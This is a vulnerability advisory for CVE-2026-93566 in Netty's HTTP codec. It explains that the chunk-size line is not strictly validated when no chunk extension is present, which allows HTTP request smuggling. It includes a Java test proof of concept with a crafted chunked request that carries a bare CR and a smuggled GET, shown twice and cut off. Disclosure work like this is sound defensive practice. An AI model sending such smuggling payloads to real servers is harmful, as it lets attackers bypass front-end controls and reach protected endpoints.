Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling.
### Details
`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:
```java
int extensionsStart = line.bytesBefore((byte) ';');
if (extensionsStart == -1) {
return;
}
```
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
`chunk-size = 1*HEXDIG`
### PoC
```java
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"0\rX\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
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| Type | Values Removed | Values Added |
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| Description | ### Summary Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling. ### Details `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present: ```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; } ``` According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A `chunk-size = 1*HEXDIG` ### PoC ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch | |
| Title | Io.netty/netty-codec-http: netty: http request smuggling due to control characters in the chunk-size line | |
| First Time appeared |
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| Weaknesses | CWE-1035 | |
| CPEs | cpe:/a:redhat:amq_broker:7 cpe:/a:redhat:amq_clients:2023 cpe:/a:redhat:apicurio_registry:3 cpe:/a:redhat:build_keycloak: cpe:/a:redhat:camel_quarkus:3 cpe:/a:redhat:camel_spring_boot:4 cpe:/a:redhat:debezium:3 cpe:/a:redhat:jboss_data_grid:8 cpe:/a:redhat:jboss_enterprise_application_platform:7 cpe:/a:redhat:jboss_enterprise_application_platform:8 cpe:/a:redhat:jboss_fuse:7 cpe:/a:redhat:quarkus:3 cpe:/a:redhat:red_hat_single_sign_on:7 |
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Status: PUBLISHED
Assigner: redhat
Published:
Updated: 2026-09-18T14:19:29.741Z
Reserved: 2026-09-18T10:00:52.431Z
Link: CVE-2026-93566
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Status : Received
Published: 2026-09-18T15:17:20.290
Modified: 2026-09-18T15:17:20.290
Link: CVE-2026-93566
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